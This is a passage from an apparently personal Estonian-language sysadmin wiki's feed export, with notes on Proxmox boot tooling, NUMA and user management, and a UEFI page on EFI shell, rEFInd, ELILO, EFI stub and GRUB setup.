W: This system is booted via proxmox-boot-tool:&lt;br /&gt;
W: Executing 'update-grub' directly does not update the correct configs!&lt;br /&gt;
W: Running: 'proxmox-boot-tool refresh'&lt;br /&gt;
&lt;br /&gt;
No /etc/kernel/cmdline found - falling back to /proc/cmdline&lt;br /&gt;
Copying and configuring kernels on /dev/disk/by-uuid/17BA-8F03&lt;br /&gt;
	Copying kernel 6.5.11-7-pve&lt;br /&gt;
Generating grub configuration file ...&lt;br /&gt;
Found linux image: /boot/vmlinuz-6.5.11-7-pve&lt;br /&gt;
Found initrd image: /boot/initrd.img-6.5.11-7-pve&lt;br /&gt;
Adding boot menu entry for UEFI Firmware Settings ...&lt;br /&gt;
done&lt;br /&gt;
Copying and configuring kernels on /dev/disk/by-uuid/EDA2-7AC7&lt;br /&gt;
	Copying kernel 6.5.11-7-pve&lt;br /&gt;
Generating grub configuration file ...&lt;br /&gt;
Found linux image: /boot/vmlinuz-6.5.11-7-pve&lt;br /&gt;
Found initrd image: /boot/initrd.img-6.5.11-7-pve&lt;br /&gt;
Adding boot menu entry for UEFI Firmware Settings ...&lt;br /&gt;
done&lt;br /&gt;
Found linux image: /boot/vmlinuz-6.5.11-7-pve&lt;br /&gt;
Found initrd image: /boot/initrd.img-6.5.11-7-pve&lt;br /&gt;
Adding boot menu entry for UEFI Firmware Settings ...&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
efibootmgr ja uuid osakond&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# efibootmgr -v&lt;br /&gt;
BootCurrent: 0006&lt;br /&gt;
Timeout: 10 seconds&lt;br /&gt;
BootOrder: 0006,0005,0000,0003,0004,0002&lt;br /&gt;
Boot0000  proxmox	HD(1,GPT,7c575bd3-de2d-4d57-b344-be7529331560,0x800,0x1dc800)/File(\EFI\PROXMOX\SHIMX64.EFI)&lt;br /&gt;
Boot0002* refind	VenHw(99e275e7-75a0-4b37-a2e6-c5385e6c00cb)&lt;br /&gt;
Boot0003  debian	HD(1,GPT,7c575bd3-de2d-4d57-b344-be7529331560,0x800,0x1dc800)/File(\EFI\DEBIAN\SHIMX64.EFI)&lt;br /&gt;
Boot0004  debian	HD(1,GPT,7c575bd3-de2d-4d57-b344-be7529331560,0x800,0x1dc800)/File(\EFI\DEBIAN\GRUBX64.EFI)..BO&lt;br /&gt;
Boot0005* UEFI OS	HD(1,GPT,d240f095-7252-4a51-8480-77d19650cb3f,0x800,0x1dc800)/File(\EFI\BOOT\BOOTX64.EFI)..BO&lt;br /&gt;
Boot0006* UEFI OS	HD(1,GPT,7c575bd3-de2d-4d57-b344-be7529331560,0x800,0x1dc800)/File(\EFI\BOOT\BOOTX64.EFI)..BO&lt;br /&gt;
&lt;br /&gt;
# blkid /dev/sda1&lt;br /&gt;
/dev/sda1: UUID=&amp;quot;17BA-8F03&amp;quot; BLOCK_SIZE=&amp;quot;512&amp;quot; TYPE=&amp;quot;vfat&amp;quot; PARTUUID=&amp;quot;7c575bd3-de2d-4d57-b344-be7529331560&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# blkid /dev/sdb1&lt;br /&gt;
/dev/sdb1: UUID=&amp;quot;EDA2-7AC7&amp;quot; BLOCK_SIZE=&amp;quot;512&amp;quot; TYPE=&amp;quot;vfat&amp;quot; PARTUUID=&amp;quot;d240f095-7252-4a51-8480-77d19650cb3f&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* efibootmgr väljundis ei ole esitatud otseselt kõvakette number (mis väljendab nt sata ketta puhul millisesse sata porti on kaabel kinnitatud)&lt;br /&gt;
* HD(1,GPT) väljendab et tegu on mingi süsteemi kõvakette esimese partitsiooniga ning et kasutusel on gpt partitsioonitabel, vfat failisüsteemi uuid, ning milline efi rakendus käivitatakse sellelt vfat partitsioonilt&lt;br /&gt;
* kinnitatud portide kohta saab teada 'lsscsi -v' või 'lshw -c storage -c disk' väljundist&lt;br /&gt;
&lt;br /&gt;
Secure Boot osakond&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# mokutil --sb-state&lt;br /&gt;
SecureBoot enabled&lt;br /&gt;
&lt;br /&gt;
# efibootmgr -v&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0003,0002,0001,0000,0007,0004,0005,0006,0008&lt;br /&gt;
Boot0000* UiApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0001* UEFI QEMU HARDDISK QM00015 	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0x7,0x0)/Sata(1,65535,0)N.....YM....R,Y.&lt;br /&gt;
Boot0002* UEFI QEMU HARDDISK QM00013 	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0x7,0x0)/Sata(0,65535,0)N.....YM....R,Y.&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===proxmox-boot-tool kasutamine - bootctl -&amp;gt; grub===&lt;br /&gt;
&lt;br /&gt;
Selleks, et süsteem lülitada käima grub asjakorraldusega, tuleb lihtsalt sooritada punktis 'proxmox-boot-tool kasutamine - grub' esitatud tegevused.&lt;br /&gt;
&lt;br /&gt;
===Storage - host: nvme -&amp;gt; zfs ja guest: lvm -&amp;gt; ext4===&lt;br /&gt;
&lt;br /&gt;
====host nvme -&amp;gt; zfs seadistus====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
host juures sobib kasutada&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====guest lvm -&amp;gt; ext4 seadistus====&lt;br /&gt;
&lt;br /&gt;
Virtuaalse arvuti seadistustes sobib kasutada&lt;br /&gt;
&lt;br /&gt;
* cache - none&lt;br /&gt;
* bus/device - SCSI VirtIO&lt;br /&gt;
* ssd emulation - jah&lt;br /&gt;
* io thread - eeldusel et on üks virtuaalne plokkseade pole vajadust&lt;br /&gt;
&lt;br /&gt;
üldine soovitus&lt;br /&gt;
&lt;br /&gt;
* bus/device - SCSI VirtIO single&lt;br /&gt;
* IO therad - jah&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://forum.proxmox.com/threads/pve-7-1-with-zfs-best-practices-for-windows-vm-hard-disk.106101/&lt;br /&gt;
* https://forum.proxmox.com/threads/questions-about-disk-config.137724/&lt;br /&gt;
&lt;br /&gt;
===NUMA - non-uniform memory access===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* kasutamine praktiliselt eeldab, et PVE node on füüsiliselt enam kui ühe füüsilise cpu'ga arvuti, nt dual-socket&lt;br /&gt;
* NUMA lubaduseks on et virtuaalse arvuti protsessorid seostatakse sobivalt füüsiliste protsessoritega, ning vastava füüsilise mäluga&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb PVE webgui keskkonnas valida&lt;br /&gt;
&lt;br /&gt;
* Hardware -&amp;gt; Processors -&amp;gt; Sockets - 2&lt;br /&gt;
* Hardware -&amp;gt; Processors -&amp;gt; Cores - 4&lt;br /&gt;
* Hardware -&amp;gt; Processors -&amp;gt; VCPUSs - 8 (kujuneb ise socket ja cores korrutiseks)&lt;br /&gt;
* Hardware -&amp;gt; Processors -&amp;gt; Enable NUMA - linnutada&lt;br /&gt;
&lt;br /&gt;
Tulemusena on virtuaalses arvutis selline väljund&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pbs:~# lscpu | grep NUMA&lt;br /&gt;
NUMA node(s):                       2&lt;br /&gt;
NUMA node0 CPU(s):                  0,1&lt;br /&gt;
NUMA node1 CPU(s):                  2,3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pbs:~# numactl --hardware&lt;br /&gt;
available: 2 nodes (0-1)&lt;br /&gt;
node 0 cpus: 0 1&lt;br /&gt;
node 0 size: 1901 MB&lt;br /&gt;
node 0 free: 46 MB&lt;br /&gt;
node 1 cpus: 2 3&lt;br /&gt;
node 1 size: 2014 MB&lt;br /&gt;
node 1 free: 1014 MB&lt;br /&gt;
node distances:&lt;br /&gt;
node   0   1 &lt;br /&gt;
  0:  10  20 &lt;br /&gt;
  1:  20  10 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pbs:~# numastat &lt;br /&gt;
                           node0           node1&lt;br /&gt;
numa_hit                  592792         2138996&lt;br /&gt;
numa_miss                      0          462989&lt;br /&gt;
numa_foreign              462989               0&lt;br /&gt;
interleave_hit               586             597&lt;br /&gt;
local_node                591816         2137704&lt;br /&gt;
other_node                   976          464281&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasutajate haldamine===&lt;br /&gt;
&lt;br /&gt;
====PVE osakond====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* paroolide hashid - /etc/pve/priv/shadow.cfg&lt;br /&gt;
* kasutajate nimed - /etc/pve/user.cfg &lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine&lt;br /&gt;
&lt;br /&gt;
 pveum user add testuser@pve -comment &amp;quot;Just a test&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Kasuta parooli sättimine&lt;br /&gt;
&lt;br /&gt;
 pveum passwd testuser@pve&lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine admin gruppi eesmärgiga, et kasutajal oleks nö enam privileege&lt;br /&gt;
&lt;br /&gt;
 pveum user modify testuser@pve -group admin&lt;br /&gt;
&lt;br /&gt;
Kasutajate nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 pveum user list&lt;br /&gt;
&lt;br /&gt;
Gruppide nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 pveum group list&lt;br /&gt;
&lt;br /&gt;
===2-node klaster===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://pve.proxmox.com/wiki/Host_Bootloader&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=UEFI&amp;diff=3453</id>
		<title>UEFI</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=UEFI&amp;diff=3453"/>
		<updated>2026-05-05T04:06:20Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Kasulikud lisamaterjalid */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===UEFI Shell kasutamine===&lt;br /&gt;
&lt;br /&gt;
UEFI shell võib olla&lt;br /&gt;
&lt;br /&gt;
* integreeritud arvuti riistvaras - sel juhul tavaliselt arvuti käivitumisel UEFI setup keskkonnas saab valida efi shelli minemise&lt;br /&gt;
* arvuti riistvara oskab käivitada uefi shelli kui talle vastav .efi ette näidata&lt;br /&gt;
&lt;br /&gt;
Teine variant on nt kasutusel arvuti J3170M puhul, efi shell sobib kopeerida nt aadressilt https://sourceforge.net/p/tianocore/edk2/ci/master/tree/&lt;br /&gt;
&lt;br /&gt;
 EdkShellBinPkg -&amp;gt; Full Shell -&amp;gt; X64 -&amp;gt; Shell_Full.efi&lt;br /&gt;
&lt;br /&gt;
ja paigutada nt arvutile külge ühendatatava USB pulge juur failisüsteemi või /boot/efi partitsioonile nimega shellx64.efi.&lt;br /&gt;
&lt;br /&gt;
Kopeerimine&lt;br /&gt;
&lt;br /&gt;
 fs0:\EFI\debian&amp;gt; cp fs1:\vmlinuz-4.7.0-0.bpo.1-amd64 .&lt;br /&gt;
&lt;br /&gt;
Boot valiku lisamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
===OS installeri ISO tõmmise käivitamine===&lt;br /&gt;
&lt;br /&gt;
UEFI keskkonnasst OS installeri kasutamise eelduseks on, et see installer on nö EFI võimeline. Peale OS installeri ISO tõmmise arvutiga ühendamist (füüsiline CD seade, mingi remote virtual cd tõmmise ühendamine jms) tuleb öelda UEFI Shellis&lt;br /&gt;
&lt;br /&gt;
 Shell&amp;gt; map -r&lt;br /&gt;
&lt;br /&gt;
mille väljundis peaks esinema uus plokkseade, nt fs1. Edasi tuleb käivitada boot*.efi nimeline fail (tab ei lõpeta sedasi kataloogi ja failinimesid ära)&lt;br /&gt;
&lt;br /&gt;
 Shell&amp;gt; fs1:\EFI\BOOT\BOOTX64.EFI&lt;br /&gt;
&lt;br /&gt;
Tavaliselt seejärel käivitub GRUB2 bootloader, millest edasi saab jätkata tavalisel viisil. Lisaks on võimalik GRUB2'st väljuda, nt valides C ning seejärel exit&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; exit&lt;br /&gt;
&lt;br /&gt;
Tulemusena satutakse tagasi EFI shelli.&lt;br /&gt;
&lt;br /&gt;
===Arvuti firmware uuendamine EFI shellist===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Võrk EFI shellist===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Arvuti dignostika EFI shellist===&lt;br /&gt;
&lt;br /&gt;
Memtest86 http://www.memtest86.com/ kasutamisel paistab selline pilt&lt;br /&gt;
&lt;br /&gt;
[[Fail:Uefi-10.gif]]&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.memtest86.com/download.htm&lt;br /&gt;
&lt;br /&gt;
===efibootmgr===&lt;br /&gt;
&lt;br /&gt;
EFI kasutamiseks on vajalikud sellised paketid + grub v. 2.02 vms&lt;br /&gt;
&lt;br /&gt;
 grub-efi-amd64-bin&lt;br /&gt;
 efibootmgr&lt;br /&gt;
&lt;br /&gt;
Olemasolevate EFI boot valikute esitamine&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr&lt;br /&gt;
 BootCurrent: 0008&lt;br /&gt;
 Timeout: 0 seconds&lt;br /&gt;
 BootOrder: 0002,0008,0003,0005,0000,0001,0006&lt;br /&gt;
 Boot0000  EFI Network 3&lt;br /&gt;
 Boot0001  EFI Network 4&lt;br /&gt;
 Boot0002* proxmox&lt;br /&gt;
 Boot0003  EFI Network 1&lt;br /&gt;
 Boot0005  EFI Network 2&lt;br /&gt;
 Boot0006* Windows Boot Manager&lt;br /&gt;
 Boot0008* debian&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* BootCurrent - vaikimisi käivitatav valik&lt;br /&gt;
* Timeout - viivitus&lt;br /&gt;
* BootOrder - boot valikute läbiproovimise järjekord, esimene töötav käivitub&lt;br /&gt;
* Boot0xxx - boot valikud&lt;br /&gt;
* UEFI Boot menüü esitab ainult BootOrder nimekirjas olevaid valikuid oma sissekannetena&lt;br /&gt;
&lt;br /&gt;
Kaheksanda boot valiku eemaldamiseks arvuti NVRAM seest&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr -b 8 -B&lt;br /&gt;
&lt;br /&gt;
Järgmise UEFI boot sissekande tekitamine, automaatselt pannakse see boot orderis esimesele kohale&lt;br /&gt;
&lt;br /&gt;
 # grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=deb2 --recheck&lt;br /&gt;
 Installing for x86_64-efi platform.&lt;br /&gt;
 File descriptor 4 (/dev/sda1) leaked on vgs invocation. Parent PID 3056: grub-install&lt;br /&gt;
 File descriptor 4 (/dev/sda1) leaked on vgs invocation. Parent PID 3056: grub-install&lt;br /&gt;
 Installation finished. No error reported&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib UEFI boot menüüsse juurde uus boot valik 'deb2' ning failisüsteemi genereeritaks efi grub rakendus&lt;br /&gt;
&lt;br /&gt;
 /boot/efi/EFI/deb2/grubx64.efi&lt;br /&gt;
&lt;br /&gt;
Seejärel võiks uuesti genereerida ka grub.cfg faili&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Sobiva uefi valikute järjestatud nimekirja saab tekitada nt selliselt (seejärel programmi väljundis näidatakse kehtestatud uut orderit)&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr -o 2,8,3,5,0,1&lt;br /&gt;
&lt;br /&gt;
EFS partitsiooni monteerimiseks sobib kasutada sellist rida&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/fstab&lt;br /&gt;
 ...&lt;br /&gt;
 /dev/sda1  /boot/efi       vfat    umask=0077      0       1&lt;br /&gt;
&lt;br /&gt;
kusjuures EFI failisüsteemi sobib moodustada nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # mkfs.vfat -F32 -n EFI /dev/sdb1&lt;br /&gt;
 mkfs.fat 3.0.27 (2014-11-12)&lt;br /&gt;
&lt;br /&gt;
Tundub, et UEFI arvuti grub promptis öeldes jõuab tulemusena arvuti Setup keskkonda&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; fwsetup&lt;br /&gt;
&lt;br /&gt;
===Trusted Boot ja SHIM===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===refind boot iso kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et rEFInd http://www.rodsbooks.com/refind/ sobib hästi erakorraliselt muidu UEFI installiga arvuti käivitamiseks.&lt;br /&gt;
&lt;br /&gt;
* bootida .iso pealt üles&lt;br /&gt;
* valida meelepärane efi sissekanne vms (nt tuum, eelduseks on, et kuhugi efi failisüsteemis on sobiv tuuma ja initrd kopeeritud; või siis efi shellis olles kopeerida)&lt;br /&gt;
* pressid F2 ja näidata juur failisüsteem (tõnäeoliselt initrd on juba kirjas, st sisestada selle ette 'ro root=/dev/mapper/...')&lt;br /&gt;
&lt;br /&gt;
 ro root=/dev/mapper/pve-root initrd=...&lt;br /&gt;
&lt;br /&gt;
===refind .zip arhiivi kasutamine===&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine====&lt;br /&gt;
&lt;br /&gt;
Kopeerida ja pakkida lahti, nii et tulemuseks on /boot/efi failisüsteemis /boot/efi/EFI kataloogis bootvalikule 'refind' vastav kataloogi sisu sarnane (kopeerides .zip failist sellised kataloogid ja failid)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/boot/efi/EFI/refind/drivers_x64&lt;br /&gt;
/boot/efi/EFI/refind/icons&lt;br /&gt;
/boot/efi/EFI/refind/refind_x64.efi&lt;br /&gt;
/boot/efi/EFI/refind/tools_x64&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb kopeerida efi failisüsteemi tuum ja initramfs, nt&lt;br /&gt;
&lt;br /&gt;
 # cp /boot/vmlinuz-4.4.0-87-generic /boot/initrd.img-4.4.0-87-generic /boot/efi/EFI/refind&lt;br /&gt;
 # cd /boot/efi/EFI/refind&lt;br /&gt;
&lt;br /&gt;
nimeteada tuuma failinimi ümber .efi lõpuga failiks (tundub, et see pole praktiliselt vajalik)&lt;br /&gt;
&lt;br /&gt;
 # mv vmlinuz-4.4.0-87-generic vmlinuz-4.4.0-87-generic.efi&lt;br /&gt;
&lt;br /&gt;
====Seadistamine====&lt;br /&gt;
&lt;br /&gt;
Seejärel sobib kasutada nt sellist seadistusfaili sisu&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /boot/efi/EFI/refind/refind.conf &lt;br /&gt;
timeout 20&lt;br /&gt;
menuentry refind {&lt;br /&gt;
    icon /EFI/refind/icons/os_linux.png&lt;br /&gt;
    loader /EFI/refind/vmlinuz-4.4.0-87-generic&lt;br /&gt;
    initrd /EFI/refind/initrd.img-4.4.0-87-generic&lt;br /&gt;
    options &amp;quot;ro root=/dev/mapper/system-root&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Veenduda, milline on muudatuste eelne boot järjekord&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr -v&lt;br /&gt;
&lt;br /&gt;
ning lisada efi boot valik, nb! lisatud valik muutub vaikevalikuks&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr -c -L &amp;quot;refind&amp;quot; -l 'EFI\refind\refind_x64.efi'&lt;br /&gt;
&lt;br /&gt;
ja kohendada muudatuste järgne boot järjekord, et senine default oleks edasi default&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr -o 0,1,2&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
Peale refind boot loaderi paigaldamist paitab uefi boot valikute nimekiri nimekiri nt selline, refind on aktiivne ja all on efi file path&lt;br /&gt;
&lt;br /&gt;
[[Fail:Uefi-12.gif]]&lt;br /&gt;
&lt;br /&gt;
Valides refind paistab selline pilt&lt;br /&gt;
&lt;br /&gt;
[[Fail:Uefi-13.gif]]&lt;br /&gt;
&lt;br /&gt;
ja liikudes refind edit režiimi selline pilt (valides Tab klahvi)&lt;br /&gt;
&lt;br /&gt;
[[Fail:Uefi-14.gif]]&lt;br /&gt;
&lt;br /&gt;
ning Tab abil editor sisse liikudes, siin saab muuta kerneli parameetreid&lt;br /&gt;
&lt;br /&gt;
[[Fail:Uefi-15.gif]]&lt;br /&gt;
&lt;br /&gt;
===ELILO===&lt;br /&gt;
&lt;br /&gt;
Märkus: 2017 aasta alguses tundub, et see on iganenud tarkvara.&lt;br /&gt;
&lt;br /&gt;
ELILO EFI rakendus abil saab arvuti käivitada EFI kaudu. Selleks tuleb kuhugi paigaldada elilo pakett&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 | It is necessary to run /usr/sbin/elilo to install the new elilo binary into the EFI partition.          │  &lt;br /&gt;
 │                                                                                                         │  &lt;br /&gt;
 │ WARNING: This procedure will write data into the debian directory of the EFI disk partition, possibly   │  &lt;br /&gt;
 │ overwriting files installed there by hand.                                                              │  &lt;br /&gt;
 │                                                                                                         │  &lt;br /&gt;
 │ Not installing the new elilo binary on the EFI disk partition may leave the system in an unbootable     │  &lt;br /&gt;
 │ state.  Alternatives to automatic updating of the partition include running /usr/sbin/elilo by hand,    │  &lt;br /&gt;
 │ or installing the new /usr/lib/elilo/elilo.efi executable into the EFI disk partition manually.         │  &lt;br /&gt;
 │                                                                                                         │  &lt;br /&gt;
 │ Automatically run elilo?       &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning kopeerida bootitava arvuti ESP failisüsteemi sellised failid&lt;br /&gt;
&lt;br /&gt;
 # find /boot/efi/EFI/ELILO/ -ls&lt;br /&gt;
   120    4 drwx------   2 root     root         4096 May  1 01:05 /boot/efi/EFI/ELILO/&lt;br /&gt;
   126  236 -rwx------   1 root     root       239976 May  1 01:02 /boot/efi/EFI/ELILO/elilo.efi&lt;br /&gt;
   127    4 -rwx------   1 root     root          463 May  1 01:14 /boot/efi/EFI/ELILO/elilo.conf&lt;br /&gt;
   128 4236 -rwx------   1 root     root      4336880 May  1 01:05 /boot/efi/EFI/ELILO/vmlinuz-2.6.32-37-pve&lt;br /&gt;
   129 1908 -rwx------   1 root     root     20382462 May  1 01:05 /boot/efi/EFI/ELILO/initrd.img-2.6.32-37-pve&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* elilo.efi - rakendus&lt;br /&gt;
* elilo.conf - seadistusfail&lt;br /&gt;
&lt;br /&gt;
kus nt&lt;br /&gt;
&lt;br /&gt;
 # cat /boot/efi/EFI/ELILO/elilo.conf&lt;br /&gt;
 &lt;br /&gt;
 delay=20&lt;br /&gt;
 default=pve&lt;br /&gt;
 &lt;br /&gt;
 image=vmlinuz-2.6.32-37-pve&lt;br /&gt;
   label=pve&lt;br /&gt;
   initrd=initrd.img-2.6.32-37-pve&lt;br /&gt;
   description=&amp;quot;Boot Debian Linux&amp;quot;&lt;br /&gt;
   read-only&lt;br /&gt;
   root=/dev/mapper/pve-root&lt;br /&gt;
   append=&amp;quot;console=ttyS0,9600&lt;br /&gt;
&lt;br /&gt;
* booditava operatsioonisüsteemi tuum ja initramfs&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks sobib uefi shellist öelda&lt;br /&gt;
&lt;br /&gt;
 Shell&amp;gt; fs0:\efi\elilo\elilo.efi&lt;br /&gt;
 ELILO v3.14 for EFI/x86_64n internal or external command, operable program, or batch fileram, or batch file&lt;br /&gt;
 ..&lt;br /&gt;
 Loading kernel vmlinuz-2.6.32-37-pve...  done&lt;br /&gt;
 Loading file initrd.img-2.6.32-37-pve...done&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===EFI Stub===&lt;br /&gt;
&lt;br /&gt;
EFI Stub tähistab võimalust kasutada Linux tuuma nagu efi rakendust ning otse sellega süsteem alglaadida. Käsitsi uefi shellist toimub see selliselt&lt;br /&gt;
&lt;br /&gt;
 fs0:\&amp;gt; cp vmlinuz-3.2.0-4-amd64 vmlinuz-3.2.0-4-amd64.efi&lt;br /&gt;
 fs0:\&amp;gt; vmlinuz-3.2.0-4-amd64.efi initrd=initrd.img-3.16.0-4-amd64 ro root=/dev/mapper/pve-root_deb8 console=ttyS0,9600&lt;br /&gt;
&lt;br /&gt;
EFI boot sissekannete nimekirja lisamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr -c -g -L &amp;quot;Debian (EFI stub)&amp;quot; -l '\EFI\BOOT\vmlinuz-3.2.0-4-amd64.efi' -u 'root=/dev/mapper/pve-root &lt;br /&gt;
   ro rootfstype=ext3 add_efi_memmap initrd=\\EFI\\BOOT\\initrd.img-3.2.0-4-amd64 console=ttyS0,9600'&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.debian.org/EFIStub&lt;br /&gt;
* http://www.rodsbooks.com/efi-bootloaders/efistub.html&lt;br /&gt;
&lt;br /&gt;
===syslinux-efi===&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install syslinux-efi&lt;br /&gt;
&lt;br /&gt;
EFI rakendused on&lt;br /&gt;
&lt;br /&gt;
 # find /usr/lib/SYSLINUX.EFI -type f&lt;br /&gt;
 /usr/lib/SYSLINUX.EFI/efi64/syslinux.efi&lt;br /&gt;
 /usr/lib/SYSLINUX.EFI/efi32/syslinux.efi&lt;br /&gt;
&lt;br /&gt;
Seadisusfailina kasutatakse&lt;br /&gt;
&lt;br /&gt;
 /boot/efi/EFI/syslinux/syslinux.cfg&lt;br /&gt;
&lt;br /&gt;
 Getting cached packet &lt;br /&gt;
 My IP is 10.0.0.18&lt;br /&gt;
 Loading vmlinuz-2.6.32-37-pve... okoking vmlinuz-2.6.32-37-pve... &lt;br /&gt;
 Loading initrd.img-2.6.32-37-pve...okoking initrd.img-2.6.32-37-pve...&lt;br /&gt;
&lt;br /&gt;
===GRUB===&lt;br /&gt;
&lt;br /&gt;
Kui arvutil on boot valikud on nt sellised&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Uefi-11.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* UEFI: * - arvuti käivitatakse kui UEFI riistvara&lt;br /&gt;
* mitmed muud valikud käivitavad arvuti kui BIOS riistvara&lt;br /&gt;
&lt;br /&gt;
Selleks, et käivitatud arvutit saaks seadistatada UEFI'i arvutina (nt kaustada efibootmgr programmi) tuleb ta käivitada UEFI režiimis.&lt;br /&gt;
&lt;br /&gt;
'UEFI: Network Card' kaardilt käivitamiseks on muus osas nagu tavalne DHCP + TFTP käivitamine, kuid seejuures peab TFTP serveril asuma spetsiifiline GRUB EFI rakendus, mis muu hulgas sisaldab kõiki kataloogis /usr/lib/grub/x86_64-efi olevaid grub mooduleid. Sellise rakenduse tekitamiseks sobib öelda (millegipärast grub.cfg'd ei kasutata ...)&lt;br /&gt;
&lt;br /&gt;
 # grub2-mkstandalone -d /usr/lib/grub2/x86_64-efi -O x86_64-efi --fonts=&amp;quot;unicode&amp;quot; -o bootx64.efi boot/grub/grub.cfg&lt;br /&gt;
&lt;br /&gt;
Peale seda kui UEFI network boot on kopeerinud rakendust ning selle käivitamise tulemusel on ees grub&amp;gt; prompt tuleb laadida mõned olulised moodulid, nt&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; insmod part_gpt&lt;br /&gt;
 grub&amp;gt; insmod efi_gop&lt;br /&gt;
 grub&amp;gt; insmod efi_uga&lt;br /&gt;
 grub&amp;gt; insmod mdraid1x&lt;br /&gt;
 grub&amp;gt; insmod lvm&lt;br /&gt;
&lt;br /&gt;
